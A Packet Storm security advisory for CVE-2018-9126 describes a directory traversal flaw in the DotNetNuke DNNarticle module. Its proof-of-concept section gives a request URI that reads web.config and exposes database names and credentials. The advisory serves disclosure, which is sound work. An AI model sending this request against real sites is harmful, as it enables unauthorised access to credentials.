exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DotNetNuke DNNarticle Directory Traversal

DotNetNuke DNNarticle Directory Traversal
Posted Mar 31, 2018
Authored by Esmaeil Rahimian

The DNNarticle module in DotNetNuke version 11 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2018-9126
SHA-256 | a41413f4c748f4fcf065a3f2c5c4e0ab8f4515a8fb6dafd0bde8c679cd929bf0

DotNetNuke DNNarticle Directory Traversal

Change Mirror Download
 ##############################

01. ### Advisory Information ###
Title: Directory Traversal Vulnerability in DNNarticle module
Date published: n/a
Date of last update: n/a
Vendors contacted: zldnn.com
Discovered by: Esmaeil Rahimian
Severity: Critical

02. ### Vulnerability Information ###

OVE-ID: CVE-2018-9126.

03. ### Introduction ###

DNN Article is not only a powerful module to enable post and manage
articles, but also provides total solutions for content management. Content
such as articles, news, announcements, product catalogs, etc can be
organized into unlimited levels of categories. New content can be moderated
before published. The administrator can assign roles as moderator. Also an
email can be sent when new content is added. Visitors can make comment and
rating. They can also agree or disagree an article. The product supports
common features of DotNetNuke module such as localization, portable
interface, search, Syndication etc. It can integrate with Twitter,
Facebook, Google Map, Windows Live Writer and DotNetNuke Journal to provide
more powerful functions for your portals. DNNArticle is an extendable
system. There are several sub modules shipped with DNNArticle standard
edition to provide rich and attractive look and feel experiences. There are
also several optional sub modules that provide more features. And the
number of optional sub modules is growing continually. There are also
several applications based on DNNArticle such as DNNArticle Blog and
DNNArticle Product. DNNArticle fully supports template and CSS theme. This
feature provides more flexibility for users to build more attractive user
interface.

zldnn.com

04. ### Vulnerability Description ###

The DNNArticle module 11 for DNN (formerly DotNetNuke) allows remote
attackers to read the web.config file, and consequently
discover database credentials, via the /GetCSS.ashx/?CP=%2fweb.config URI.


05. ### Technical Description / Proof of Concept Code ###
desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config&smid=512&portalid=3
with this link the attacker can see the web.config file and find DB name
and see the user name and passwords of DB

06. ### Affected Product Code Base ###
DnnArticle Module for DotNet Nuke - 11
Affected Component:
DNNArticle Module
[Attack Type]
Remote
[Impact Information Disclosure]
True
[Attack Vectors]
Attacker can see the web.config file that contain critical information
06. ### Credits ###

SecureHost[Research Team] - www.securehost.co

This vulnerability has been discovered by:
Esmaeil Rahimian - [www.securehost.co] - Rahimian(at)SecureHost(dot)co
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close